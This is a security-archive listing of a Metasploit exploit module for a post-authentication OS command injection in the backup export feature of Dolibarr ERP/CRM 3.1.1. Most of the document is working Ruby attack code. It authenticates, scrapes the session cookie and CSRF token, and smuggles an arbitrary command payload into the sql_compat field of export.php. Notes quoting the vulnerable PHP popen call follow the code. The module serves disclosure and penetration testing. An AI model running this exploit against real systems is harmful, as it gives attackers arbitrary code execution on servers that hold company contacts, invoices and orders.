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Dolibarr ERP & CRM 3 Post-Auth OS Command Injection

Dolibarr ERP & CRM 3 Post-Auth OS Command Injection
Posted Apr 10, 2012
Site metasploit.com

This Metasploit module exploits a vulnerability found in Dolibarr ERP/CRM's backup feature. This software is used to manage a company's business information such as contacts, invoices, orders, stocks, agenda, etc. When processing a database backup request, the export.php function does not check the input given to the sql_compat parameter, which allows a remote authenticated attacker to inject system commands into it, and then gain arbitrary code execution.

tags | exploit, remote, arbitrary, php, code execution
MD5 | fa49f4753274e7498df1af82f42e4c55

Dolibarr ERP & CRM 3 Post-Auth OS Command Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
'Description' => %q{
This module exploits a vulnerability found in Dolibarr ERP/CRM's
backup feature. This software is used to manage a company's business
information such as contacts, invoices, orders, stocks, agenda, etc.
When processing a database backup request, the export.php function
does not check the input given to the sql_compat parameter, which allows
a remote authenticated attacker to inject system commands into it,
and then gain arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
],
'Arch' => ARCH_CMD,
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Platform' => ['unix', 'linux'],
'Targets' =>
[
# Older versions are probably also vulnerable according to
# Nahuel's report on full disclosure
['Dolibarr 3.1.1 on Linux', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 6 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']),
OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']),
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
], self.class)
end

def check
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})

if res.body =~ /Dolibarr 3\.1\.1/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
})

# Get the session ID from the cookie
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]

# Get the token from the decompressed HTTP body response
m = res.body.match(/type="hidden" name="token" value="(.+)"/)
token = (m.nil?) ? nil : m[1]

return id, token
end

def login(sid, token)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri.path}index.php",
'cookie' => sid,
'vars_post' => {
'token' => token,
'loginfunction' => 'loginfunction',
'tz' => '-6',
'dst' => '1',
'screenwidth' => '1093',
'screenheight' => '842',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})

location = res.headers['Location']
return (location =~ /admin\//)
end

def exploit
@uri = target_uri
@uri.path << "/" if @uri.path[-1, 1] != "/"
peer = "#{rhost}:#{rport}"

print_status("#{peer} - Getting the sid and token...")
sid, token = get_sid_token
if sid.nil?
print_error("#{peer} - Unable to retrieve a session ID")
return
elsif token.nil?
print_error("#{peer} - Unable to retrieve a token")
return
end

user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
success = login(sid, token)
if not success
print_error("#{peer} - Unable to login")
return
end

print_status("#{peer} - Sending malicious request...")
res = send_request_cgi({
'method' => 'POST',
'uri' => @uri.path + "admin/tools/export.php",
'cookie' => sid,
'vars_post' => {
'token' => token,
'export_type' => 'server',
'what' => 'mysql',
'mysqldump' => '/usr/bin/mysqldump',
'use_transaction' => 'yes',
'disable_fk' => 'yes',
'sql_compat' => ";#{payload.encoded};",
'sql_structure' => 'structure',
'drop' => '1',
'sql_data' => 'data',
'showcolumns' => 'yes',
'extended_ins' => 'yes',
'delayed' => 'yes',
'sql_ignore' => 'yes',
'hexforbinary' => 'yes',
'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
'compression' => 'none'
}
})

end
end

=begin
Notes:

114 if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137 $paramcrypted=$param;
...
159 $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165 if ($handle)
166 {
....
169 $handlein = popen($fullcommandclear, 'r');
....
185 }
=end

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